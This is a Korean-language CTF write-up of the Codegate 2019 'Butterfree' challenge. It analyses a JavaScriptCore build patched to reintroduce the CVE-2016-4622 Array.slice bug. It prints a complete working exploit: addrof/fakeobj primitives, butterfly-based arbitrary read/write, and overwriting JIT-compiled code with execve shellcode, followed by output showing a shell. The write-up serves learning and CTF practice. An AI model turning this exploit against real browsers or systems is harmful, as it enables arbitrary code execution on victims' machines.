[Writeup] Butterfree - Codegate '19

- 17 mins

작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root

소개

이 문서에서는 butterfree 문제(2019’ Codegate)에 대한 풀이를 다룬다.
대회 당시에는 readfile() 함수를 사용해서 플래그를 얻었으나, Butterfly 공격을 다시 한번 연습하기 위해 Practice 문제로 선정하였다.

또한 이 문서는 널루트 내부 프로젝트 how to browser 에서 작성한 Attacking JavaScript Engine, CVE-2016-4622 분석으로부터 이어지는 문서로, 앞의 두 문서를 먼저 읽기를 권한다.

분석

문제

Butterfree
Download 2018.11.18 Webkit and Modified 

nc 110.10.147.110 17423 

Download 

Download2 

파일

압축을 풀면 64bit Webkit 의 JavaScriptCore 인터프리터 파일(jsc), 소스 코드 일부(ArrayPrototype.cpp), 그리고 실행을 위한 라이브러리(libJavaScriptCore.so.1)가 압축되어 있다

w00t@ubuntu1804:~/hack/browser/$ ls -al
-rwxrwxr-x 1 w00t w00t 22786808 Jan 26 18:47 libJavaScriptCore.so.1
-rw-rw-r-- 1 w00t w00t    68854 Jan 15 03:35 ArrayPrototype.cpp
-rwxrwxr-x 1 w00t w00t   258904 Jan 15 01:59 jsc

w00t@ubuntu1804:~/hack/browser/90b70bfa992696d63140ca63fcb035cf/$ file jsc
jsc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 2.6.32, BuildID[sha1]=1194ae5517914e2c9d2f86704e7c4b908f5c5f7b, not stripped

변경점 분석

우선 2018년 11월 18일 버전의 Webkit 을 다운로드해서 수정했다 라는 설명은 풀이를 위한 힌트로, 문제를 풀 때 아래 과정을 진행해야 함을 의미한다.

위 순서에 따라 2018년 11월 18일자 커밋의 ArrayPrototype.cpp 파일을 얻어 diff 명령을 수행한다.
해당 날짜의 파일명을 ArrayPrototype_ori.cpp 로 표기하였다.

--- 90/ArrayPrototype.cpp	
+++ 90/ArrayPrototype_ori.cpp	
@@ -973,7 +973,7 @@
     if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
         return { };
 
-    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) /*&& length == toLength(exec, thisObj)*/;
+    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
     RETURN_IF_EXCEPTION(scope, { });
     if (LIKELY(okToDoFastPath)) {
         if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
@@ -1636,4 +1636,4 @@
     globalObject->arraySpeciesWatchpoint().fireAll(vm, lazyDetail);
 }
 
-} // namespace JSC
+} // namespace JSC

비교 결과 fastSlice 의 코드 일부를 수정했음을 확인할 수 있다. 주석 처리된 length 비교 코드는 CVE-2016-4622 취약점 수정 커밋)에서 수정된 부분이다.

덧붙여 문제의 제목이 butterfree 이므로, butterfly 취약점을 알고 있었던 사람이라면 쉽게 추측할 수 있었을 것이다.

버그

CVE-2016-4622 의 원본 PoC 코드를 돌려보면 정상적으로 동작하지 않는다. PoC 가 보여주는 결과처럼, 우선 Array 에서의 메모리 릭을 확인하는 것이 우선이다.

    var b = a.slice(0, hax);
    return Int64.fromDouble(b[3]);

프랙 문서를 참조하여, addrof() 함수 중 a.slice(0, hax)[3] 을 리턴하는 대신 a.slice(0, hax) 전체를 리턴하도록 수정하면 메모리 릭이 발생한다는 것을 확인할 수 있다.

function addrof_modify(obj){
		var a = []; 
		for (var i = 0; i < 100; i++){
				a.push(i + 0.123);
		}; 
		var b = a.slice(0, { 
				valueOf: function() { 
						a.length = 0; 
						a = [obj]; 
						return 100; 
				}
		});
		return (b)
};

a=[];
print(addrof_modify(a));
root@ubuntu1804:/mnt/hgfs/lili/hack/codegate2019/butterfree/jscpwn# ./jsc poc.js
0.123,1.123,0,6.3659873734e-314,6.9532913969695e-310,0,0,0,0,0,0,0,0,0,0,

디버거(gdb)를 실행하여 print 명령어의 내부 함수인 fucntionPrintStdOut 함수에 브레이크포인트를 설정한다.
print() 의 인자값을 추적해 보면 Array 내부에 주소값이 저장된 것을 확인할 수 있다

gdb-peda$ x/10gx $rdi
0x7fffffffd630:	0x00007fffffffd6b0	0x00007ffff764b50c
0x7fffffffd640:	0x0000000000000000	0x00007fffb24c3000
0x7fffffffd650:	0x00007fff00000002	0x00007fffb24e0000
0x7fffffffd660:	0x00007fffb24b43f0	0x00007fffb24e0000
0x7fffffffd670:	0x00007fffb24c3000	0x000000000000000a

gdb-peda$ x/10gx 0x00007fffb24b43f0
0x7fffb24b43f0:	0x0108210700000062	0x00007fe0000d4378
0x7fffb24b4400:	0x0000000000000000	0x0000000000000000
0x7fffb24b4410:	0x0000000000000000	0x0000000000000000
0x7fffb24b4420:	0x0000000000000000	0x0000000000000000
0x7fffb24b4430:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/10gx 0x00007fe0000d4378
0x7fe0000d4378:	0x3fbf7ced916872b0	0x3ff1f7ced916872b
0x7fe0000d4388:	0x0000000000000000	0x0000000300000001
0x7fe0000d4398:	0x00007fffb24b43c0	0x0000000000000000
0x7fe0000d43a8:	0x0000000000000000	0x0000000000000000
0x7fe0000d43b8:	0x0000000000000000	0x0000000000000000

b[3] 을 출력하면 0x0000000300000001(6.3659873734e-314)를 출력하고, b[4]를 출력하면 포인터 값(0x00007fffb24b43c0, 9532913969695e-310에서 Nan-boxing 해제)를 출력한다.

이로써 CVE-2016-4622 와 완전히 동일한 취약점을 가지고 있음이 확인되었다.

배경지식

JIT Spraying(JIT 스프레이 공격)

동일한 코드를 반복해서 호출하면 JIT 컴파일러가 힙에 실행 가능한 영역을 만들어 낸다.

CVE-2016-4622 프랙 문서의 공격 코드에서 JIT Spraying 을 활용한 함수가 makeJITCompiledFunction() 이다.

function makeJITCompiledFunction() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

전체적인 공격 과정은 다음과 같다.

  1. JIT 컴파일된 함수 객체를 얻는다.
  2. 오프셋 계산을 통해 바이트코드가 위치한 주소를 얻는다. 오프셋은 운영체제 버전 혹은 웹킷 버전에 따라 다르므로 디버깅을 통해 확인해야 한다.
  3. 해당 주소에 쉘코드를 overwrite 한다.
  4. 함수를 호출하여 덮어쓴 쉘코드를 실행한다.

형식화 배열 : typed array

자바스크립트에서 형식화 배열(typed array)은 버퍼 및 뷰로 구현되어 있다.
버퍼는 ArrayBuffer 로 구현하며, 크기만 정할 수 있고 데이터에 대한 접근은 할 수 없다.
뷰를 통해 데이터를 입력하거나 수정할 수 있다. 뷰는 데이터 타입을 지정한다.

출처 : https://developer.mozilla.org/ko/docs/Web/JavaScript/Typed_arrays

array 형의 메모리 구조

공격코드의 이해를 위해 TypedArray 가 데이터를 메모리에 어떻게 저장하는지를 이해할 필요가 있다. 상세한 내용은 프랙 문서를 참조한다.

addrof(), fakeobj()

addrof() - object 의 주소값을 리턴한다.
fakeobj() - 인자로 주어진 주소 영역을 object 로 읽어들여 해당 object 를 리턴한다.

function addrof(obj){
   var a = []; 
	 for (var i = 0; i < 100; i++){
	    a.push(i + 0.123);
		}; 
		var b = a.slice(0, {
		   valueOf: function() { 
			    a.length = 0; 
					a = [obj]; 
					return 100; 
				}
		});
		return Int64.fromDouble(b[4])
	};
	
function fakeobj(addr) {
    var a = [];
    for (var i = 0; i < 100; i++){
        a.push({});
    }

    addr = addr.asDouble();
    return a.slice(0, {
		    valueOf: function() { 
			    a.length = 0; 
			    a = [addr]; 
			    return 100; 
		   }
	 })[4];
}

풀이

공격 벡터

vertor - fail

이미 잘 알려진 취약점이라, 처음에는 프랙 문서의 풀 익스플로잇 코드를 활용하는 방향으로 풀이를 시도했다.
공격 벡터로 vector, 즉 fakeObj 로 얻은 객체 컨테이너의 세번째 qword 값을 사용하는 방식이다.

    var hax = new Uint8Array(0x1000);
    var container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: false,     
        vector: hax,
        lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
    };

	  // 가짜 Float64Array를 생성한다
    var address = Add(addrof(container), 0x10);
    var fakearray = fakeobj(address);

		// 읽기 함수
		read: function(addr, length) { 
            fakearray[2] = addr.asDouble();
            var a = new Array(length);
            for (var i = 0; i < length; i++)
                a[i] = hax[i];
            return a;
        },

		// 쓰기 함수
		write: function(addr, data) {
            fakearray[2] = addr.asDouble();
            for (var i = 0; i < data.length; i++)
                hax[i] = data[i];
        },

그러나 이 문제에서는 read/write 가 동작하지 않을 뿐만 아니라, fakeobj 로 얻은 객체에 값을 넣어 보면 우리가 지정한 vector 객체가 아닌 전혀 엉뚱한 주소에 저장되는 것을 알 수 있었다.

의문을 품고 많은 시간을 들여 디버깅을 진행했으나, 2016년-2018년 사이에 웹킷 구조 변화로 인해 전과 같은 공격은 어려울 것이라는 결론을 내렸으며
실제로 프랙 원작자(@saelo)를 통해 GigaCage 라는 보호기법이 추가되었다는 것을 확인할 수 있었다.

Gigacage 에 대해서는 향후에 별도로 정리할 예정이다.

butterfly - success

vector 대신 butterfly, 즉 fakeObj 로 얻은 객체 컨테이너 두번째 qword 값을 이용한다.
butterfly 를 사용하는 객체를 만들기 위해 Array 타입의 객체를 만들고 속성(Proterty)를 추가한다.


    var victim = [];
    victim.prop = 31337;
    var JSCellHeader = new Int64([
        0xef, 0xbe, 0xad, 0xde, // TypedArray가 아닌 객체에선 무의미함
        0x06,		                // DoubleShape
        0x2c,		                // Float64ArrayType
        0x08,		                // OverridesGetOwnPropertySlot
        0x01		                // DefinitelyWhite
    ]);

		// butterfly 를 victim으로 설정한다
    var container = {
        header: JSCellHeader.asJSValue(),
        butterfly: victim
    };

		var hax = fakeobj(Add(addrof(container), 0x10));
    var origButterfly = hax[1];


		// read/write 를 위해 객체의 두번째 qword 인 butterfly 를 활용한다.
		read64(addr) {
            hax[1] = Add(addr, 0x10).asDouble();
            return this.addrof(victim.pointer);
        },

		// Write an int64 to the given address.
     writeInt64(addr, int64) {
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = int64.asJSValue();
    },

pwn

아래는 익스플로잇 전체 코드이다.

// https://raw.githubusercontent.com/saelo/35c3ctf/master/WebKid/utils.js
load("utils.js");
// https://raw.githubusercontent.com/saelo/35c3ctf/master/WebKid/int64.js
load("int64.js");

// http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = [ 0x31, 0xC0, 0x48, 0xBB, 0xD1, 0x9D, 0x96, 0x91, 0xD0, 0x8C, 0x97, 0xFF, 0x48, 0xF7, 0xDB, 0x53, 0x54, 0x5F, 0x99, 0x52, 0x57, 0x54, 0x5E, 0xB0, 0x3B, 0x0F, 0x05 ];

// https://github.com/saelo/35c3ctf/blob/44b2a45/WebKid/pwn.js#L40
const ITERATIONS = 100000;
function jitCompile(f, ...args)
{
    for(var i = 0; i < ITERATIONS; i++)
        f(...args);
}

jitCompile(function dummy() { return 42; });

function makeJITCompiledFunction()
{
    function target(num)
    {
        for(var i = 2; i < num; i++)
        {
            if(num % i === 0)
                return false;
        }

        return true;
    }

    jitCompile(target, 123);

    return target;
}

function addrof(obj)
{
    var a = [];
    for(var i = 0; i < 100; i++)
        a.push(i+0.123);

    var b = a.slice(0, {valueOf(){
        a.length = 0;
        a = [obj];
        return 10;
    }});

    return Int64.fromDouble(b[4]);
}
function fakeobj(addr)
{
    var a = [];
    for(var i = 0; i < 100; i++)
        a.push({});

    addr = addr.asDouble();
    var b = a.slice(0, {valueOf(){
        a.length = 0;
        a = [addr];
        return 10;
    }});

    return b[4];
}

function pwn()
{
    var JSCellHeader = new Int64([
        0xef, 0xbe, 0xad, 0xde, // TypedArray가 아닌 객체에선 무의미함
        0x06,		                // DoubleShape
        0x2c,		                // Float64ArrayType
        0x08,		                // OverridesGetOwnPropertySlot
        0x01		                // DefinitelyWhite
    ]);

    var victim = [];
    victim.prop = 31337;
    print("[+] victim = " + addrof(victim));
    
    var container = {
        JSCell : JSCellHeader.asJSValue(),
        Butterfly : victim
    };

    var fakeshape = fakeobj(Add(addrof(container), 0x10));
    print("[+] fakeshape = " + addrof(fakeshape));

    // victim.prop는 (victim's Butterfly - 0x10)에 위치함
    memory = {
        // 0x7fffffff보다 큰 값은 double형 값으로 인코딩되어 버리기에 2 bytes씩 씀
        // 0x7fffffff = 0xffff00007fffffff
        // 0x80000000 = 0x41e1000000000000
        write16bits: function(addr, data) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            victim.prop = data;
        },

        // Int64 라이브러리를 통해 최대 64bit 만큼 값을 쓸 순 있으나,
        // 그에 해당하는 뷰를 생성할 수 없음
        // ( Float64Array를 사용하려면 값을 8 byte씩 끊어 따로따로 인코딩해줘야 되서 안됨 )
        write64bits: function(addr, data) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            victim.prop = data.asJSValue();
        },

        write: function(addr, data) {
            if((data.length % 2) != 0)
                data.push(0);

            var uint8View = new Uint8Array(data);
            var uint16View = new Uint16Array(uint8View.buffer);

            for(var i = 0; i < uint16View.length; i++)
                this.write16bits(Add(addr, 2 * i), uint16View[i]);
        },

        read64bits: function(addr) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            return addrof(victim.prop);
        },

        test: function() {
            var v = {};
            var obj = {p : v};

            var addr = addrof(obj);
            assert(fakeobj(addr).p == v, "addrof and/or fakeobj not worked....-_-");

            var propAddr = Add(addr, 0x10);
            var val = this.read64bits(propAddr);
            assert(val.asDouble() == addrof(v).asDouble(), "read64bits not worked...-_-");

            this.write16bits(propAddr, 0x1337); 
            assert(obj.p == 0x1337, "write16bits not worked...-_-");
        }
    };

    memory.test();
    print("[+] Okay, it is working!");

    print("[+] hiding container from JSC!");
    var empty = {};
    var emptyJSCell = memory.read64bits(addrof(empty));
    memory.write64bits(addrof(container), emptyJSCell);

    var jitFunc = makeJITCompiledFunction();

    var jitFuncAddr = addrof(jitFunc);
    print("[+] JIT Function       = " + jitFuncAddr);

    var execAddr = memory.read64bits(Add(jitFuncAddr, 0x18));
    print("[+] Executable Address = " + execAddr);

    var jitCodeObjAddr = memory.read64bits(Add(execAddr, 0x18));
    print("[+] JIT Object Address = " + jitCodeObjAddr);

    var jitCodeAddr = memory.read64bits(Add(jitCodeObjAddr, 0x160));
    print("[+] RWX Code Area      = " + jitCodeAddr);

    memory.write(jitCodeAddr, shellcode);

    print("[+] Let's pwn it!");
    jitFunc();
}

pwn();

가비지 컬렉터 등 내부의 여러 컴포넌트로 인해 reliable 하지는 않으나, 반복해서 공격(<200)한 결과 쉘을 얻을 수 있었다.

root@ubuntu1804:/mnt/hgfs/lili/hack/codegate2019/butterfree/jscpwn# ./jsc solved_large.js
0x00007fffb24c84e0
[+] victim @ 0x00007fffb0a206a0
[+] container @ 0x00007fffb24c8c80
[+] limited memory read/write working
[+] shellcode function object @ 0x00007fffb048a1c0
[+] executable instance @ 0x00007fffb2483910
[+] JITCode instance @ 0x00007fffb00c5000
[+] JITCode @ 0x00007fffb2e04c80
#

참조

null2root

null2root

underground hacker group

comments powered by Disqus
rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora